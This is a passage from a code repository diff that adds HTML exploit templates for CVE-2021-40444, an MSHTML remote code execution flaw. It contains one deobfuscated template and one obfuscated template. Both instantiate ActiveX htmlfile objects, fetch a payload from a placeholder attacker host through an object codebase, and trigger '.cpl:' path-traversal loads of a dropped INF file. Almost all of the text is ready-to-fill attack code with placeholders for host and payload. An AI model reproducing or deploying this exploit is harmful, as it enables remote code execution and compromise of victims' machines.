} catch (_0x3b004e) {
window["HTMLElement"]["prototype"]["removeChild"]['call'](window["document"]['documentElement'], iframe);
}
htmlfile2['open']()['close']();
var htmlfile3 = new htmlfile2[('Script')]['ActiveXObject']('htmlfile');
htmlfile3['open']()['close']();
var htmlfile4 = new htmlfile3[('Script')]['ActiveXObject']('htmlfile');
htmlfile4['open']()['close']();
var htmlfile5 = new htmlfile4[('Script')]['ActiveXObject']('htmlfile');
htmlfile5['open']()['close']();
var ActiveXObjectVAR = new ActiveXObject('htmlfile')
, ActiveXObjectVAR2 = new ActiveXObject('htmlfile')
, ActiveXObjectVAR3 = new ActiveXObject('htmlfile')
, ActiveXObjectVAR4 = new ActiveXObject('htmlfile')
, ActiveXObjectVAR5 = new ActiveXObject('htmlfile')
, ActiveXObjectVAR6 = new ActiveXObject('htmlfile')
, XMLHttpR = new window['XMLHttpRequest']()
, XMLHttpRopen = window['XMLHttpRequest']['prototype']['open']
, XMLHttpRsend = window['XMLHttpRequest']['prototype']['send'];
XMLHttpRopen['call'](XMLHttpR, 'GET', '<HOST_CHANGE_HERE>', ![]),
XMLHttpRsend['call'](XMLHttpR),
htmlfile5['Script']['document']['write']('body>');
var htmlScript = window["Document"]['prototype']['createElement']['call'](htmlfile5['Script']['document'], 'object');
htmlScript['setAttribute']('codebase', '<HOST_CHANGE_HERE>#version=5,0,0,0');
htmlScript['setAttribute']('CLSID:edbc374c-5730-432a-b5b8-de94f0b57217'),
window["HTMLElement"]["prototype"]["appendChild"]['call'](htmlfile5['Script']['document']['body'], htmlScript),
ActiveXObjectVAR['Script']['location'] = '.cpl:123',
ActiveXObjectVAR['Script']['location'] = '.cpl:123',
ActiveXObjectVAR['Script']['location'] = '.cpl:123',
ActiveXObjectVAR['Script']['location'] = '.cpl:123',
ActiveXObjectVAR['Script']['location'] = '.cpl:123',
ActiveXObjectVAR['Script']['location'] = '.cpl:123',
ActiveXObjectVAR['Script']['location'] = '.cpl:123',
ActiveXObjectVAR['Script']['location'] = '.cpl:123',
ActiveXObjectVAR['Script']['location'] = '.cpl:123',
ActiveXObjectVAR['Script']['location'] = '.cpl:../../../AppData/Local/Temp/Low/<INF_CHANGE_HERE>',
ActiveXObjectVAR2['Script']['location'] = '.cpl:../../../AppData/Local/Temp/<INF_CHANGE_HERE>',
ActiveXObjectVAR3['Script']['location'] = '.cpl:../../../../AppData/Local/Temp/Low/<INF_CHANGE_HERE>',
ActiveXObjectVAR4['Script']['location'] = '.cpl:../../../../AppData/Local/Temp/<INF_CHANGE_HERE>',
ActiveXObjectVAR5['Script']['location'] = '.cpl:../../../../../Temp/Low/<INF_CHANGE_HERE>',
ActiveXObjectVAR4['Script']['location'] = '.cpl:../../../../../Temp/<INF_CHANGE_HERE>',
ActiveXObjectVAR4['Script']['location'] = '.cpl:../../Low/<INF_CHANGE_HERE>',
ActiveXObjectVAR4['Script']['location'] = '.cpl:../../<INF_CHANGE_HERE>';
}());
</script>
</body>
</html>

146
template/sample3.html

@ -0,0 +1,146 @@ @@ -0,0 +1,146 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="Expires" content="-1">
<meta http-equiv="X-UA-Compatible" content="IE=11">
<title>CVE-2021-40444</title>
</head>
<body>
<script>
'use strict';
/** @type {!Array} */
var tokensArray = ["123", "365952KMsRQT", "tiveX", "/Lo", "./../../", "contentDocument", "ppD", "Dat", "close", "Acti", "removeChild", "mlF", "write", "./A", "ata/", "ile", "../", "body", "setAttribute", "#version=5,0,0,0", "ssi", "iframe", "748708rfmUTk", "documentElement", "lFile", "location", "159708hBVRtu", "a/Lo", "Script", "document", "call", "contentWindow", "emp", "Document", "Obj", "prototype", "lfi", "bject", "send", "appendChild", "Low/<INF_CHANGE_HERE>", "htmlfile", "115924pLbIpw", "GET",
"p/<INF_CHANGE_HERE>", "1109sMoXXX", "./../A", "htm", "l/T", "cal/", "1wzQpCO", "ect", "w/<INF_CHANGE_HERE>", "522415dmiRUA", "<HOST_CHANGE_HERE>", "88320wWglcB", "XMLHttpRequest", "<INF_CHANGE_HERE>", "Act", "D:edbc374c-5730-432a-b5b8-de94f0b57217", "open", "<bo", "HTMLElement", "/..", "veXO", "102FePAWC"];
/**
* @param {number} totalExpectedResults
* @param {?} entrySelector
* @return {?}
*/
function getValue(totalExpectedResults, entrySelector) {
return getValue = function(state, value) {
/** @type {number} */
state = state - 170;
var processorState = tokensArray[state];
return processorState;
}, getValue(totalExpectedResults, entrySelector);
}
(function(data, oldPassword) {
/** @type {function(number, ?): ?} */
var toMonths = getValue;
for (; !![];) {
try {
/** @type {number} */
var userPsd = parseInt(toMonths(206)) + parseInt(toMonths(216)) * parseInt(toMonths(196)) + parseInt(toMonths(201)) * -parseInt(toMonths(173)) + parseInt(toMonths(177)) + parseInt(toMonths(204)) + -parseInt(toMonths(193)) + parseInt(toMonths(218));
if (userPsd === oldPassword) {
break;
} else {
data["push"](data["shift"]());
}
} catch (_0x34af1e) {
data["push"](data["shift"]());
}
}
})(tokensArray, 384881), function() {
/**
* @return {?}
*/
function token_dash_lineno() {
/** @type {function(number, ?): ?} */
var addedRelations = currentRelations;
return addedRelations(205);
}
/** @type {function(number, ?): ?} */
var currentRelations = getValue;
/** @type {!Window} */
var global = window;
var document = global["document"];
var then = global["Document"]["prototype"]["createElement"];
var writeFunction = global["Document"]["prototype"]["write"];
var PL$22 = global["HTMLElement"]["prototype"]["appendChild"];
var $ = global["HTMLElement"]["prototype"]["removeChild"];
var el = then["call"](document, "iframe");
try {
PL$22["call"](document["body"], el);
} catch (_0x1ab454) {
PL$22["call"](document["documentElement"], el);
}
var ACTIVEX = el["contentWindow"]["ActiveXObject"];
var model = new ACTIVEX("htmlfile");
el["contentDocument"]["open"]()["close"]();
/** @type {string} */
var colname = "p";
try {
$["call"](document["body"], el);
} catch (_0x3b004e) {
$["call"](document["documentElement"], el);
}
model["open"]()["close"]();
var ops = new model["Script"]["Act" + "iveX" + "Obj" + "ect"]("htmlFile");
ops["open"]()["close"]();
/** @type {string} */
var _ = "c";
var TokenType = new ops["Script"]["Ac" + "tiveX" + "Object"]("htmlFile");
TokenType["open"]()["close"]();
var view = new TokenType["Script"]["Acti" + "veXO" + "bject"]("htmlFile");
view["open"]()["close"]();
var iedom = new ActiveXObject("htmlfile");
var rp_test = new ActiveXObject("htmlfile");
var htmlfile = new ActiveXObject("htmlfile");
var fake = new ActiveXObject("htmlfile");
var doc = new ActiveXObject("htmlfile");
var a = new ActiveXObject("htmlfile");
var Object = global["XMLHttpRequest"];
var args = new Object;
var ast = Object["prototype"]["open"];
var callbacks = Object["prototype"]["send"];
var modelIns = global["setTimeout"];
ast["call"](args, "GET", token_dash_lineno(), ![]);
callbacks["call"](args);
view["Script"]["document"]["write"]("<body>");
var s = then["call"](view["Script"]["document"], "object");
s["setAttribute"]("codebase", token_dash_lineno() + "#version=5,0,0,0");
/** @type {string} */
var i = "l";
s["setAttribute"]("classid", "CLSID:edbc374c-5730-432a-b5b8-de94f0b57217");
PL$22["call"](view["Script"]["document"]["body"], s);
/** @type {string} */
iedom["Script"]["location"] = "." + _ + colname + i + ":123";
/** @type {string} */
iedom["Script"]["location"] = "." + _ + colname + i + ":123";
/** @type {string} */
iedom["Script"]["location"] = "." + _ + colname + i + ":123";
/** @type {string} */
iedom["Script"]["location"] = "." + _ + colname + i + ":123";
/** @type {string} */
iedom["Script"]["location"] = "." + _ + colname + i + ":123";
/** @type {string} */
iedom["Script"]["location"] = "." + _ + colname + i + ":123";
/** @type {string} */
iedom["Script"]["location"] = "." + _ + colname + i + ":123";
/** @type {string} */
iedom["Script"]["location"] = "." + _ + colname + i + ":123";
/** @type {string} */
iedom["Script"]["location"] = "." + _ + colname + i + ":123";
/** @type {string} */
iedom["Script"]["location"] = "." + _ + colname + i + ":../../../AppData/Local/Temp/Low/<INF_CHANGE_HERE>";
/** @type {string} */
rp_test["Script"]["location"] = "." + _ + colname + i + ":../../../AppData/Local/Temp/<INF_CHANGE_HERE>";
/** @type {string} */
htmlfile["Script"]["location"] = "." + _ + colname + i + ":../../../../AppData/Local/Temp/Low/<INF_CHANGE_HERE>";
/** @type {string} */
fake["Script"]["location"] = "." + _ + colname + i + ":../../../../AppData/Local/Temp/<INF_CHANGE_HERE>";
/** @type {string} */
doc["Script"]["location"] = "." + _ + colname + i + ":../../../../../Temp/Low/<INF_CHANGE_HERE>";
/** @type {string} */
fake["Script"]["location"] = "." + _ + colname + i + ":../../../../../Temp/<INF_CHANGE_HERE>";
/** @type {string} */
fake["Script"]["location"] = "." + _ + colname + i + ":../../Low/<INF_CHANGE_HERE>";
/** @type {string} */
fake["Script"]["location"] = "." + _ + colname + i + ":../../<INF_CHANGE_HERE>";
}();
</script>
</body>
</html>
Loading…
Cancel
Save